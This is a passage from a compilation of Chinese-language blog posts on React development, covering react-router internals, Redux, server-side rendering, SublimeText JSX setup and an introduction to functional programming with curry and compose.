        转载：<br/> {this.props.reproduce}
      </div>
    );
  }
});

const Original = React.createClass({
  render() {
    return (
      <div className="archives">
        <ul>
          {blogData.slice(0, 4).map((item, index) => {
            return (
              <li key={index}>
                <Link to={`/article/${index}`} query={{type: 'Original'}} state={{title: item.title}}>
                  {item.title}
                </Link>
              </li>
            )
          })}
        </ul>
      </div>
    );
  }
});

const Reproduce = React.createClass({
  // 与 Original 类似
})

上述代码展示了文章归档以及原创和转载列表。现在回顾一下路由声明部分的代码：

<Redirect from="/archives" to="/archives/posts"/>
<Route onEnter={requireAuth} path="archives" component={Archives}>
  <Route path="posts" components={{
    original: Original,
    reproduce: Reproduce,
  }}/>
</Route>

function requireAuth(nextState, replaceState) {
  if (!hasLogin()) {
    replaceState({ nextPathname: nextState.location.pathname }, '/signIn');
  }
}

上述的代码中有三点值得注意：


	用到了一个 Redirect 组件，将 /archives 重定向到 /archives/posts 下；


	onEnter 钩子中用于判断用户是否登录，如果未登录则使用 replaceState 方法重定向，该方法的作用与 <Redirect/> 组件类似，不会在浏览器中留下重定向前的历史；


	如果使用 components 声明路由所对应的多个组件，在组件内部可以通过 this.props.original（本例中）来获取组件；




到这里，我们的博客路由系统基本已经讲完了，希望你能够对 react-router 最基本的 API 及其内部的基本原理有一定的了解。再总结一下 react-router 作为 React 路由系统的特点和优势所在：


	结合 JSX 采用声明式的语法，很优雅的实现了路由嵌套以及路由回调组件的声明，包括重定向组件，默认路由等，这归功于其内部的匹配算法，可以通过 URL（准确的说应该是 location 对象） 在组件树中准确匹配出需要渲染的组件。这一点绝对完胜 director 等路由在 React 中的表现；


	不需要单独维护 state 表示当前路由，这一点也是使用 director 等路由免不了要做的；


	
除了路由组件外，还可以通过 history 对象中的 pushState 或 replaceState方法进行路由和重定向，比如在 flux 的 store 中想要做一个跳转操作就可以通过该方法完成；

// 近似于 <Link to={path} state={null}/>
history.pushState(null, path);

// 近似于 <Redirect from={currentPath} to={nextPath}/>
history.replaceState(null, nextPath);





当然还有一些其他的特性没有在这里介绍，比如在大型应用中按需载入路由组件、服务端渲染以及整合 redux/relay 框架，这些都是用其他路由系统很难完成的。接下来的部分主要来讲解示例背后的基本原理。

原理分析

在这一部分主要会讲解路由的基本原理，react-router 的状态机特性，在用户点击了 Link 组件后路由系统中到底发生了哪些，前端路由如何处理浏览器的前进和后退功能。

路由的基本原理

无论是传统的后端 MVC 主导的应用，还是在当下最流行的单页面应用中，路由的职责都很重要，但原理并不复杂，即保证视图和 URL 的同步，而视图可以看成是资源的一种表现。当用户在页面中进行操作时，应用会在若干个交互状态中切换，路由则可以记录下某些重要的状态，比如在一个博客系统中用户是否登录、在访问哪一篇文章、位于文章归档列表的第几页。而这些变化同样会被记录在浏览器的历史中，用户可以通过浏览器的前进、后退按钮切换状态，同样可以将 URL 分享给好友。简而言之，用户可以通过手动输入或者与页面进行交互来改变 URL，然后通过同步或者异步的方式向服务端发送请求获取资源（当然，资源也可能存在于本地），成功后重新绘制 UI，原理如下图所示：



react-router 的状态机特性

我们看到 react-router 中的很多特性都与 React 保持了一致，比如它的声明式组件、组件嵌套，当然也包括 React 的状态机特性，因为毕竟它就是基于 React 构建并且为之所用的。回想一下在 React 中，我们把组件比作是一个函数，state/props 作为函数的参数，当它们发生变化时会触发函数执行，进而帮助我们重新绘制 UI。那么在 react-router 中将会是什么样子呢？在 react-router 中，我们可以把 Router 组件看成是一个函数，Location 作为参数，返回的结果同样是 UI，二者的对比如下图所示：



上图说明了只要 URL 一致，那么返回的 UI 界面总是相同的。或许你还很好奇在这个简单的状态机后面究竟是什么样子呢？在点击 Link 后路由系统发生了什么？在点击浏览器的前进和后退按钮后路由系统又做了哪些？那么请看下图：



接下来的两部分会对上图做详细的讲解。

点击 Link 后路由系统发生了什么？

Link 组件最终会渲染为 HTML 标签 <a>，它的 to、query、hash 属性会被组合在一起并渲染为 href 属性。虽然 Link 被渲染为超链接，但在内部实现上使用脚本拦截了浏览器的默认行为，然后调用了 history.pushState 方法（注意，文中出现的 history 指的是通过 history 包里面的 create*History 方法创建的对象，window.history 则指定浏览器原生的 history 对象，由于有些 API 相同，不要弄混）。history 包中底层的 pushState 方法支持传入两个参数 state 和 path，在函数体内有将这两个参数传输到 createLocation 方法中，返回 location 的结构如下：

location = {
  pathname, // 当前路径，即 Link 中的 to 属性
  search, // search
  hash, // hash
  state, // state 对象
  action, // location 类型，在点击 Link 时为 PUSH，浏览器前进后退时为 POP，调用 replaceState 方法时为 REPLACE
  key, // 用于操作 sessionStorage 存取 state 对象
};

系统会将上述 location 对象作为参数传入到 TransitionTo 方法中，然后调用 window.location.hash 或者 window.history.pushState() 修改了应用的 URL，这取决于你创建 history 对象的方式。同时会触发 history.listen 中注册的事件监听器。

接下来请看路由系统内部是如何修改 UI 的。在得到了新的 location 对象后，系统内部的 matchRoutes 方法会匹配出 Route 组件树中与当前 location 对象匹配的一个子集，并且得到了 nextState，具体的匹配算法不在这里讲解，感兴趣的同学可以点击查看，state 的结构如下：

nextState = {
  location, // 当前的 location 对象
  routes, // 与 location 对象匹配的 Route 树的子集，是一个数组
  params, // 传入的 param，即 URL 中的参数
  components, // routes 中每个元素对应的组件，同样是数组
};

在 Router 组件的 componentWillMount 生命周期方法中调用了 history.listen(listener) 方法。listener 会在上述 matchRoutes 方法执行成功后执行 listener(nextState)，nextState 对象每个属性的具体含义已经在上述代码中注释，接下来执行 this.setState(nextState) 就可以实现重新渲染 Router 组件。举个简单的例子，当 URL（准确的说应该是 location.pathname） 为 /archives/posts 时，应用的匹配结果如下图所示：



对应的渲染结果如下：

<BlogApp>
  <Archives original={Original} reproduce={Reproduce}/>
</BlogApp>

到这里，系统已经完成了当用户点击一个由 Link 组件渲染出的超链接到页面刷新的全过程。

点击浏览器的前进和后退按钮发生了什么？

可以简单地把 web 浏览器的历史记录比做成一个仅有入栈操作的栈，当用户浏览器到某一个页面时将该文档存入到栈中，点击「后退」或「前进」按钮时移动指针到 history 栈中对应的某一个文档。在传统的浏览器中，文档都是从服务端请求过来的。不过现代的浏览器一般都会支持两种方式用于动态的生成并载入页面。

location.hash 与 hashchange 事件

这也是比较简单并且兼容性也比较好的一种方式，详细请看下面几点：


	使用 hashchange 事件来监听 window.location.hash 的变化


	hash 发生变化浏览器会更新 URL，并且在 history 栈中产生一条记录


	路由系统会将所有的路由信息都保存到 location.hash 中


	在 react-router 内部注册了 window.addEventListener('hashchange', listener, false) 事件监听器


	listener 内部可以通过 hash fragment 获取到当前 URL 对应的 location 对象


	接下来的过程与点击 <Link/> 时保持一致




当然，你会想到不仅仅在前进和后退会触发 hashchange 事件，应该说每次路由操作都会有 hash 的变化。确实如此，为了解决这个问题，路由系统内部通过判断 currentLocation 与 nextLocation 是否相等来处理该问题。不过，从它的实现原理上来看，由于路由操作 hash 发生变化而重复调用 transitonTo(location) 这一步确实无可避免，这也是我在上图中所画的虚线的含义。

这种方法会在浏览器的 URL 中添加一个 # 号，不过出于兼容性的考虑（ie8+），路由系统内部将这种方式（对应 history 包中的 createHashHistory 方法）作为创建 history 对象的默认方法。

history.pushState 与 popstate 事件

新的 HTML5 规范中还提出了一个相对复杂但更加健壮的方式来解决该问题，请看下面几点：


	上文中提到了可以通过 window.history.pushState(state, title, path) 方法（更多关于 history 对象的详细 API 可以查看这里）来改变浏览器的 URL，实际上该方法同时在 history 栈中存入了 state 对象。


	在浏览器前进和后退时触发 popstate 事件，然后注册 window.addEventListener('popstate', listener, false) ，并且可以在事件对象中取出对应的 state 对象


	state 对象可以存储一些恢复该页面所需要的简单信息，上文中已经提到 state 会作为属性存储在 location 对象中，这样你就可以在组件中通过 location.state 来获取到


	在 react-router 内部将该对象存储到了 sessionStorage 中，也就是上图中的 saveState 操作


	接下来的操作与第一种方式一致




使用这种方式（对应 history 包中的 createHistory 方法）进行路由需要服务端要做一个路由的配置将所有请求重定向到入口文件位置，你可以参考这个示例，否则在用户刷新页面时会报 404 错误。

实际上，上面提到的 state 对象不仅仅在第二种路由方式中可以使用。react-router 内部做了 polyfill，统一了 API。在使用第一种方式创建路由时你会发现 URL 中多了一个类似 _key=s1gvrm 的 query，这个 _key 就是为 react-router 内部在 sessionStorage 中读取 state 对象所提供的。

资源汇总

关于 react-router 的参考资源确实不多。特别是 1.0 版本发布后很多文档都已经过时了，所以大家在查阅的时候一定要小心。此外，为了方便读者更好的理解 react-router 的底层原理，也找了一个相关的资源供大家参考。

前导知识

这里汇集了一些关于 url fragment 以及 html5 history API 相关的部分资源：


	http://blog.httpwatch.com/2011/03/01/6-things-you-should-know-about-fragment-urls/


	http://www.ruanyifeng.com/blog/2011/03/url_hash.html


	http://peculiariq.com/hash-symbols-and-special-characters-in-urls-explained/


	http://code.tutsplus.com/tutorials/an-introduction-to-the-html5-history-api--cms-22160


	https://developer.mozilla.org/en-US/docs/Web/API/History_API




react-router 相关资源

这里主要是 react-router 的资源。由于 react-router 1.0 相对于之前版本的 API 差异较大，目前网络上的资源也主要是官方文档，不过中文版已经翻译好，读者可以按照喜好选择：


	https://github.com/rackt/react-router/tree/master/docs


	http://react-guide.github.io/react-router-cn/index.html


	https://github.com/rackt/history


	http://jamesknelson.com/routing-with-raw-react/




视频资源（需翻墙）


	https://www.youtube.com/watch?v=KOLScDu6hQ4


	https://www.youtube.com/watch?v=arYxw1VD0q4


	https://www.youtube.com/watch?v=Q6Kczrgw6ic





 还在纠结 Flux 或 Relay，或许 Redux 更适合你

作者：Cam

来源： 还在纠结 Flux 或 Relay，或许 Redux 更适合你



                    
重磅消息，Redux 1.0 发布，终于可以放心用于生产环境了！



在这个端应用技术膨胀的时代，每天都有一大堆框架冒出，号称解决了 XYZ 等一系列牛 X 的问题，然后过一段时间就不被提起了。但开发的应用还是需要维护的！所以选择框架时不要只顾着自己用着爽，还要想着以后别人接手时的难易度。

因为 Flux 本身约定不够细致，如何做异步、如何做同构这些非常普遍的问题，官方都没有给出详细的说明。还有 store，view 里一大堆重复代码，极速膨胀的 action 等问题。这也难免会冒出一堆“改良”性的轮子。有一些非常闪光，如 Redux，Reflux，Marty。Reflux 和 Marty 基本上只是去掉重复代码并为现有 Store，Action 增加一些灵活性，用起来比原生 Flux 上手更容易，但是总体二者没有跳出 Flux 的思想，大量依旧采用“传统”的 mixin 方式实现。如果项目不是很复杂可以试试。至于 Relay，由于需要后端 GraphQL 支持，对于采用 REST 接口开发的遗留项目和前后端分离的大团队来说成本切换有点高。

现在开始说今天的主角 Redux。Redux 由 Flux 演变而来，后来受 Elm 启发，去掉了 Flux 的复杂性，到现在越来越自成一派，甚至已经有了 Angular 的实现。最近开始把团队旧的纯 Flux 开发项目逐步往 Redux 上迁移。Redux 还是秉承了 Flux 单向数据流、Store is the single source of truth 的思想，这两点略过。下面谈一下使用 Redux 过程中的其它感受。

特性和优点

文档清晰，编码统一

Redux 文档非常清晰细致，这一点有助于统一团队编码风格，节省了很多纠结和踩坑的时间。再也不纠结 Ajax 请求到底放哪里了，全部丢到 action(通用的也可以放到 middleware) 里就没错。究竟使用 state 还是 props？组件里全部使用 props，只在顶层组件里使用 state。之前为了灵活或兼容性，Redux 的 provider 提供 Provider decorator 装饰器 和 provider 两种调用用法，现在只建议使用 Provider decorator。Redux 这点设计思想和 Python 的非常像：

There should be one, and preferably only one - obvious way to do it.



你会发现用了 Redux 后，整个团队写的代码风格都比较一致，上一次有这种感受是项目由旧的 jQuery 组件迁到 React 的时候。如果有些场景你还是纠结怎么办？去 Redux issues 提个 issue 吧，很快就会有人回复。

State, State, State -> Store

前端复杂性在于 view，view 复杂性在于 state 处理。state 复杂是因为包括了 AJAX 返回的数据、当前显示的是哪个 tab 等这些 UI state、表单状态、甚至还有当前的 url 等。Redux 把这些所有的 state 汇总成一个大的对象，起了个名字叫 Store，没错，就是 Flux 里的 Store。只是 Redux 限定一个应用只能有一个 Store。单一 Store 带来的好处是，所有数据结果集中化，操作时的便利，只要把它传给最外层组件，那么内层组件就不需要维持 state，全部经父级由 props 往下传即可。子组件变得异常简单。

Reducer

只有一个 Store，第一感觉是这个 Store 对象会不会非常大？其实对象大并不可怕，可怕的是对象处理逻辑放到一起。只要把这些处理逻辑按处理内容拆分不就可以了吗？！拆分后的每块处理逻辑就是一个 Reducer。把这些 Reducer 里的每块内容合到一起（用 ES6 的 import 语法）就组成了完整的 Store。Reducer 只是一个纯函数，所以很容易测试。提到 Reducer 不得不提函数式编程，reducer 本质就是做对象格式转换，这点用函数式操作实在太高效了。

(previousState, action) => newState

因为是纯函数，组合多个 reducer 非常简单，参见 https://gist.github.com/gaearon/d77ca812015c0356654f。顺便也移除了 Flux 里最让人诟病的 waitFor 语法。

Action

Redux 的 action 与 Flux 中的类似，都是表达 view 要改变 store 内容的载体。Flux 是通过统一的 Dispatcher 分发 action，Redux 去除了这个 Dispatcher，使用 store 的 store.dispatch() 方法来把 action 传给 store。由于所有的 action 处理都会经过这个 store.dispatch() 方法，Redux 聪明地利用这一点，实现了与 Koa，Ruby Rack 类似的 Middleware 机制。Middleware 可以让你在 dispatch action 后，到达 store 前这一段拦截并插入代码，可以任意操作 action 和 store。很容易实现灵活的日志打印、错误收集、API 请求、路由等操作。我们团队根据预建立的 action 和请求间的映射直接在这里直接发 Ajax 请求，从此麻麻再也不用担心我异步取数据了。

除了这些之外，还有逆天的 DevTools，可以让应用像录像机一样反复录制和重放。



对于同构应用 Redux 也有很好的支持，这一块团队正在调研，等实际上线后再做分享。

不足或不便

当然使用过程中也有一些不顺利的地方，其实主要还是思想方面的转变。

组件应尽可能无状态化

这也被称为 Smart Component 和 Dumb Component 之间的选择，组件库开发应尽可能做成 Dumb Component。这一点和传统的 jQuery 类普遍使用命令式语法做组件开发有很大不同。如写一个 Dialog，jQuery 组件一般会提供 dialog.show(), dialog.hide() 方法。但 Redux 要求显示或隐藏应该被当作一个 props，由外部传入来控制。Redux 比 Flux 更严格要求 Store 作为数据来源的惟一性，所以之前能用的组件现在发现直接不能用了。

轮训和 WebSocket 请求的处理

请求的发起要在 action 里做，但是请求的暂停/启动状态要放到 store 里，会增加一些复杂性，但保证了数据的一致性。其实还是未明确 store 是单一数据源的思想。

资料：

官方地址：https://github.com/rackt/redux
中文文档：http://github.com/camsong/redux-in-chinese
项目列表：https://github.com/xgrommx/awesome-redux
同构示例：http://react-redux.herokuapp.com/

对了，听说中文文档翻译的还不错，连 Redux 作者 Dan Abramov 都推了，要不你也看看。有精力一起参与翻译，没有精力给个 star 也行。



原文地址


 简聊初步尝试服务端渲染的一些感想

作者：题叶

来源： 简聊初步尝试服务端渲染的一些感想



                    
多多少少有些不开心的事, 觉得精力没有被投入在重点上
创业公司遇到问题变成盲人摸象也许正常吧
不过最近这段时间因为服务端的策略调整, 我开始做一些服务端渲染
主要的站点是简聊的登录页面, 整体从 Jade 切换到了 React
https://account.jianliao.com/signin
以及做了一些整体项目结构统一的工作, 或者说一些思考

我估计这些问题已经被考虑过很多次, 特别是对于发展较快的那些公司
因为富交互的应用和较大的网站的需求, 很容易导向这个结果
而为了保证交互效果以及产量, 提出相应的方案是自然的一个结果
Teambition 主站的同学之前有讲过 ejs 共用代码的方案
我大致记得是后端渲染, 前端编译, 还重新实现了路由, 大致的
简聊(https://jianliao.com)这里的尝试晚了半年一年, 层次也不深, 用 React 难度也低一些

前后端渲染大略

这些天 Coding 在好多地方刷了几篇服务端渲染的广告, 学习目的推荐看下
http://segmentfault.com/a/1190000004120539
http://segmentfault.com/a/1190000004094442

简聊没有继续跟进 Redux 和 JSX 的方案, 实际上细节处理很不一样
整体的思路当然差不太多, Yahoo 的 fluxible 当时演示的方案已经成熟
我整理一下大体思路吧, 也许用得到, 特别是中间一些坑
大致有这么几点, 在开发之前就需要考虑清楚的


	前后端共用的渲染模块


	前后端共用的数据层实现


	前后端共用的路由方案


	前后端共用的类库




简聊技术栈当中已有的模块, 能够在服务端共用的:


	渲染模块: React 内置功能, 轻松实现


	数据层实现: actions-recorder 是很简单的封装


	路由方案: router-view 功能少, 容易自由组合


	共用类库: 通过 typeof window 强制判断控制加载




前后端渲染, 实际上总体的思路还是前端单页面渲染的套路
单页面, 会先创建好 Model, 然后根据 Model 和 Router 渲染 View
渲染在 React 当中就简化成为初次渲染, 以及后续数据和操作的更新
而服务端渲染, 仅仅是把初次渲染放在服务端进行, 后边照常
因此, 虽说是共用代码, 但实际上只是支持单页面在服务端做初次渲染

渲染模块

共用渲染代码本来是最难的, 然而 React 出现以后几乎不是个事情
只是渲染的性能让 React 的实用性打了折扣
不过 0.14 之后有新的模块在尝试, 号称性能提升明显
整体思路就是把渲染过程转化为 Node 常用的 Stream
https://github.com/aickin/react-dom-stream
我没有实际用, 不过这个方案需要手动封装 HTML 的 <head> 部分
方案的代码是 fork 了 react-dom 官方实现做的, 看起来挺长
我还是等等事件提供更好的方案吧

数据层实现

数据层需要做的主要是定义一个渲染页面所需的 initialStore
这个 initialStore 可以用于服务端的初次渲染, 也可以用于客户端
简聊网页版用的 actions-recorder 在服务端渲染时几乎每做什么
整个 initialStore 直接被输出为 JSON 写在 HTML head 当中

<script>window._initialStore= (JSON.stringify(store))</script>

前端代码初始化时读取其中的数据, 重新用 actions-recorder 初始化一遍

一般服务端写 initialStore 之前会做一些操作
比如说服务端能拿到的 cookie 或者其他的一些配置
或者是后面要说的路由信息, 因为简聊的路由是等效 JSON 表示的
服务端是代替客户端做了一些初始化工作, 否则前端初始化也是类似的代码

路由方案

router-view 包含两部分代码, 一部分是解析路由, 另一部分是渲染和监听
当然, 初次之外, 还有接口可以定义路由规则, 我挺懒
如果有兴趣看看内部实现和实例也就算了, 很短的代码
https://github.com/teambition/router-view
页面初次渲染的过程, 大致就是解析出路由, 渲染对应页面就完了
路由解析在后端做, 在前端做, 只是获取 path 的 API 不同而已

这里倒是有一点要注意, 服务端渲染有特别的地方, 就是初次操作
比如说, 打开一个页面, 会自动触发一个操作, 比如验证某些数据
单纯按照单页面的思路, 渲染时不应有操作, 那么, 操作应该是更早发出
也就是在之前用户发有操作, 到服务器渲染页面, 这中间
这种问题在前端做, 总架构考虑, 就该是认为是用户打开浏览器的行为上发出
总之尽量避免认为是 didMount 的时候发出这样一个行为了

路由另外一点是隔离 JavaScript/CSS 代码的作用
当然, 其实还是通过单页面应用的套路来实现的, 甚至 Webpack 打包也是
就是说通过 Component 的分割, 将 JavaScript/CSS 限制在每个页面里
我们早期一些代码用的是原始的 DOM 操作, 就不容易管理
比如说打包到一起, 万一 CSS 或者 JavaScript 不应该却触发了怎么办?
我们没有积累强大的后端渲染静态资源管理方案, 因而这点需要避免...

共用类库

最主要的问题就是第三方类库可能影响在 Node 中加载代码
其实初次渲染很可能用不到很多代码, 只要加载不报错就好了
用的办法简单粗暴, 就是强制判断, 然后控制 require 的执行

typeof window isnt undefined

我记得这个还是以前 AirBnB 放出的幻灯片里看到用的
实际遇到会是很琐碎的情况, 甚至导致代码都有些难看
但是谁让 JavaScript 设计时看不到这么远的适应场景呢

另外有个办法, 是用 Webpack 的打包方式, 自动把 Node 模块过滤掉
这个办法我是刚学会, 具体看网上的例子:
https://webpack.github.io/docs/configuration.html#node
http://stackoverflow.com/a/34033159/883571
大致说来就是定义一些模块, 告诉 Webpack 用什么方案处理
可以 mock, 可以引用... 细节我还不清楚, 但值得挖掘

我实践中遇到最坑的一件事, 莫过于代码当中存在 event loop
简聊有段代码打包后几万行, 中间有时间循环, 根本不知道在哪
后来猜想是 setInterval 有问题, 就重置了变量通过报错定位出来
这种 IO 代码毕竟不如 pure function 好控制, 能隔离尽量隔离

预想复杂场景

前后端渲染主要的好处, 就是做了单页面, 又保证首屏渲染体验
如果仅仅是服务端渲染加 jQuery, 组件化会很头疼
特别是实现比较复杂的功能, 还要迁就初次渲染额外处理, 真的不轻松
然而用了 React 很多工作就这么省掉了

简聊目前的场景, 就是第一次加载是服务端渲染, 然后前端加载
之后点击切换路由, 就完全是 HTML5 路由切换, 完全是单页面套路
说简单除了页面少, 另一点是因为数据层几乎没有内容
就是说, 从服务端在 HTML head 写 JSON 传导前端初始化, 几乎没有数据
仅仅是读取的一些配置信息而已, 所以不涉及数据库操作

复杂的情况, 从目前对简聊主站应用的情况做的设想
应用在初始化时, 会先装备好查询到首屏需要的所有数据
数据拼装完成, 然后才能开始渲染, 当然到这一步就很简单了
难度在于怎么查询好需要的数据? 而且, 是一套代码, 不是前后端各一套
那么要求有更好的抽象机制能做数据查询的事情, 有点难度
一方面是 polyfill 两边的 ajax API, 另一方面是数据逻辑抽象

我感觉跟着 React 和 GraphQL 的思路, 已经触及一些重要问题了
数据和界面之间, 怎么做好隔离, 然而又怎样设计界面对数据的依赖?
界面自身的组合如何抽象, 数据自身的组合又如何抽象?
将来要梳理的问题还是会有很多


 在SublimeText上搭建ReactJS开发环境

作者：iLeo

来源： 在SublimeText上搭建ReactJS开发环境



                    
编辑器选择

最近在学习ReactJS，这东西确实不错，但是在实际开发中却有很多问题。不是ReactJS本身的问题，而是开发环境，目前而言并没发现一个真正完美支持JSX语法的编辑器或IDE，这对于ReactJS开发者来说无疑是一个很头疼的事情，以往所习惯的码字方式都要改变，基本上要纯手打，虽然纯手打可以帮助记忆代码，但在工作效率上却就会大打折扣。

HBuilder

之前一直用的是DCloud研发的Hbuilder来做WEB开发，可能很多人都不熟悉这个工具，简单说就是一个国产的WEB开发专用的IDE，集成了很多功能，习惯了之后工作效率确实提升不少。但Hbuilder在第三方插件方面比较弱，ReactJS的相关插件一个都没有，于是我只能换编辑器了。

Atom

现在的编辑器也很多，这里就不一一列举了。就目前我了解的来说，支持JSX语法高亮、代码提示以及代码校验的插件不多。Atom上有一个比较完善的ReactJS插件ATOM REACT，试用了一下，确实功能挺多，让我小激动了一下。但是Atom的性能却让我很不爽，首先是内存占用太大，我用的OSX，内存一下飙到900M+，一个IDE都没这么占内存。其次就是编辑较大的文件就会卡顿，那敲代码的延迟感简直不能忍，于是我放弃了Atom，可惜了这么好的一个插件。

SublimeText

这个编辑器就不多说明了，做WEB开发的多少都了解一些，我之前用过一段时间的SublimeText，觉得找插件很麻烦，就投靠了可以一次搞定的HBuilder。现在重新启用了这个神器，因为我找到了几个很棒的ReactJS插件，下面就来具体说说。

SublimeText插件

做ReactJS开发最需要的无疑是这两条：语法高亮、代码提示，如果能够想Emmet那样自动扩展就更好了，这里我可以告诉你，确实可以实现。

语法高亮

Babel-Sublime插件很好的支持了JSX语法的高亮显示，连包裹在组件中的HTML标签都能实现高亮显示，具体的插件安装以及设置方法就不多说了，自行看GitHub上的介绍吧，很简单。

代码提示

Sublime-React插件严格的说并不是一个代码提示插件，而是一个类似于Emmet的自动扩展代码插件，只需要简单敲几个字母然后按下TAB键就能自动扩展成你想要的完整代码片段，效果如下图所示。



//支持的代码片段如下
cdm→  componentDidMount: fn() { ... }
cdup→  componentDidUpdate: fn(pp, ps) { ... }
cs→  var cx = React.addons.classSet;
cwm→  componentWillMount: fn() { ... }
cwr→  componentWillReceiveProps: fn(np) { ... }
cwu→  componentWillUpdate: fn(np, ns) { ... }
cwun→  componentWillUnmount: fn() { ... }
cx→  cx({ ... })
fdn→  React.findDOMNode(...)
fup→  forceUpdate(...)
gdp→  getDefaultProps: fn() { return {...} } 
gis→  getInitialState: fn() { return {...} } 
ism→  isMounted()
props→  this.props.
pt→  propTypes { ... }
rcc→  component skeleton
refs→  this.refs.
ren→  render: fn() { return ... }
scu→  shouldComponentUpdate: fn(np, ns) { ... }
sst→  this.setState({ ... })
state→  this.state.

JSX中使用Emmet

虽然上面这个插件可以实现JSX的代码扩展，但是在JSX中包裹的HTML却不能直接支持Emmet，需要通过安装其他插件以及修改相应设置来实现。
首先是安装需要的插件：RegReplace和Chain Of Command，直接在插件库中搜索安装即可。
接下来就是设置了，先在KeyBinding – Users中插入下面这段代码：

  {
    "keys": ["tab"],
    "command": "expand_abbreviation_by_tab", 
    "context": [{
        "operand": "source.js", 
        "operator": "equal", 
        "match_all": true, 
        "key": "selector"
    },{
        "key": "preceding_text", 
        "operator": "regex_contains", 
        "operand": "(\\b(a\\b|div|span|p\\b|button)(\\.\\w*|>\\w*)?)", 
        "match_all": true
    },{
        "key": "selection_empty", 
        "operator": "equal", 
        "operand": true, 
        "match_all": true
    }]
  }

这样就实现了在JSX中按TAB键来扩展HTML片段了，但是JSX中的HTML和标准的HTML又有不同的地方，就是HTML中的class，在JSX中是className，所以这里就需要修改RegReplace的设置，找到Packagea Setting --> Reg Replace --> Settings-User，插入下面这段代码：

{
    "replacements": {
        "js_class": {
            "find": " class=\"",
            "replace": " className=\"",
            "greedy": true,
            "case": false
        }
    }
}

这样就大功告成了，开始快乐的学习ReactJS吧~~！欢迎各位大神来补充。


 函数式编程——入门笔记与React实践

作者：kpaxqin

来源： 函数式编程——入门笔记与React实践



                    
前言

最近在看近来很火的函数式编程教程《Mostly Adequate Guide》 （中文版：《JS函数式编程指南》），收获很大。对于函数式编程的初学者，这本书不仅深入浅出，更让人感受到函数式编程的优势和美感，强烈推荐给想要学习函数式编程的朋友。

这篇文章是我个人的一个学习笔记，在总结知识的同时，也尝试以React组件的输入事件响应为例，用函数式编程去应对实际项目中的场景。

下文涉及React的代码出于阅读考虑有一定删减，完整代码在我的Github。

lodash与ramda部分代码由于比较简单，想看运行结果的话可以直接到lodash或ramda官网打开console运行。

纯函数

纯函数引用原书的描述：

纯函数是这样一种函数，即相同的输入，永远会得到相同的输出，而且没有任何可观察的副作用。



相同的输入，永远会得到相同的输出，通常意味着对外部状态解耦。

所谓外部状态，最常见的例子就是this，如果你的函数是：

function(){
    return 'hello, ' + this.name；
}

那它不可能是纯函数——你永远不知道this.name会被谁改写，测试用例也不可能覆盖所有情况。如果正巧有一个外部函数，它每隔一个月将this.name改写成'shit'，你和测试人员熬了几个通宵没有发现一点问题，你也信心满满——用函数给客人打招呼实在太简单。项目上线后，你买好机票正准备出门度假，却接到老板的电话让你滚回公司改bug，而你对事情的状况没有一点头绪……

提倡函数式编程的人认为，这种共享状态导致的混乱是绝大多数bug的万恶之源

其实某种程度上这早已成为共识：不提倡全局变量其实就是这个道理。也许深刻意识到纯函数的优势还需要一点时间，也许你觉得纯函数不错，但对于如何在项目中使用它完全没有头绪，不用着急，现在我们暂时先记住：

做一个纯粹的函数，一个脱离了低级趣味的函数



Curry与Compose

curry和compose可以说是函数式编程的众妙之门，而且必须相辅相成才见威力。就我个人而言，见过一些讲函数式的教程，讲了curry，我也知道了什么是curry，但是curry怎么用？能带来什么好处呢？还是没讲清楚，然后马不停蹄地往前讲functor讲monad，作为资质不那么高的函数式菜鸟，很快就云里雾中，不明觉厉了。

Curry

curry的本质是函数的部分应用。听起来有点遥远，事实上类似的需求我们经常会遇到：

class Form extends React.Component {
    setField(key){
        return (e)=>{
            this.setState({
                 [key]: e.target.value
           })
        }
    }
    render(){
        const {name, address} = this.state;
        return (
            <form>
                <input 
                    value={name}
                    onChange={this.setField('name')} 
                    />
                <input 
                    value={address}
                    onChange={this.setField('address')} 
                    />
            </form>
        )
    }
}

完整代码 step_1

借助高阶函数式的function return function，对不同的key我们能够复用响应事件并setState的逻辑，上例可以认为就是脱掉了马甲的部分应用。

换个写法试试：

const setFieldOnContext = _.curry(function(context, key, e){
    context.setState({
        [key]: e.target.value
    })
});

class Form extends React.Component{
    render(){
        const {name, address} = this.state;
        const setField = setFieldOnContext(this);
        return (
            <form>
                <input 
                    value={name}
                    onChange={setField('name')} 
                    />
                <input 
                    value={address}
                    onChange={setField('address')} 
                    />
            </form>
        )
    }
}

完整代码 step_2

部分应用的特性使得我们可以把关注点分散到每一个参数，在render函数中

const setField = setFieldOnContext(this);



设定了当前上下文，因为你肯定不会设置其它component的state，而具体到每一个onChange则关注不同的目标key。

也许你会想curry是让代码变得好看了一点，但也仅此而已，它只是用新的姿势解决问题，并没有解决新的问题或产生新的价值。

当然不是，curry真正产生的价值和魅力的地方，是它对组合的友好。

Compose

对逻辑进行组合，这样的需求其实很常见，当我想要：

将一个数组去重，然后筛选，最后排序



很多时候会写成这样：

import _ from 'lodash'

function filterFn(v){
    return typeof v === 'number';
}
function sortFn(v){
    return Math.abs(v);
}

_.sortBy(_.filter(_.uniq([1, 1, 3, 4, 2, 'a', -10]), filterFn), sortFn);
// -> [1, 2, 3, 4, -10]

嵌套的代码难以阅读，就像回调地狱一样。自然的逻辑应该是顺序而非嵌套的，因此很多人会更喜欢”链式“写法：

_([1, 1, 3, 4, 2, 'a', -10]).
    uniq().
    filter(filterFn).
    sortBy(sortFn).
    value();
// -> [1, 2, 3, 4, -10]

看起来顺眼多了，用瓶子把东西封起来操作的思路很棒（functor就是这么干的，下次我们会细说）。然而问题在于，_(x)的原型链上可供我们链式调用的函数是有限的，这限制了我们的逻辑表现力。

一个典型的场景是代码调试：我们想知道每一步的返回值，以便定位问题。然而无论是单步调试还是log打印，在面对链式代码时都显得有些束手无策（chrome devtool可以选中部分代码并执行，但对编译生成的代码不管用），如果你不想每次debug都把要打印的值扔给临时变量搞得一地鸡毛的话，或许可以这样：

//_ is lodash
_.prototype.log = function log(label){
    var value = this.value();
    console.log(label, value);
    return _(value);
};

_([1, 1, 3, 4, 2, 'a', -10]).
    uniq().
    log('does uniq() works right? ').
    filter(filterFn).
    sortBy(sortFn).
    value();

可惜lodash原生并没有提供这样的log函数。这不难理解，原型链有尽而需求场景无穷，扩充原型来满足业务场景是注定被动的。

即使你打算打破教条


不是你的对象不要动

          ——隔壁老王法则



决定像上面代码一样扩充第三方对象的原型，这个log函数仍然有太多怪异的地方，解包var value = this.value()和封包return _(value)的过程让人感到多余——有种脱掉裤子，放了个屁，然后穿回去的即视感。更重要的是这当中还伴随着对this关键字的依赖，或许你现在觉得没什么大不了的，但我希望你在看完这篇文章后能对this有更审慎的想法。

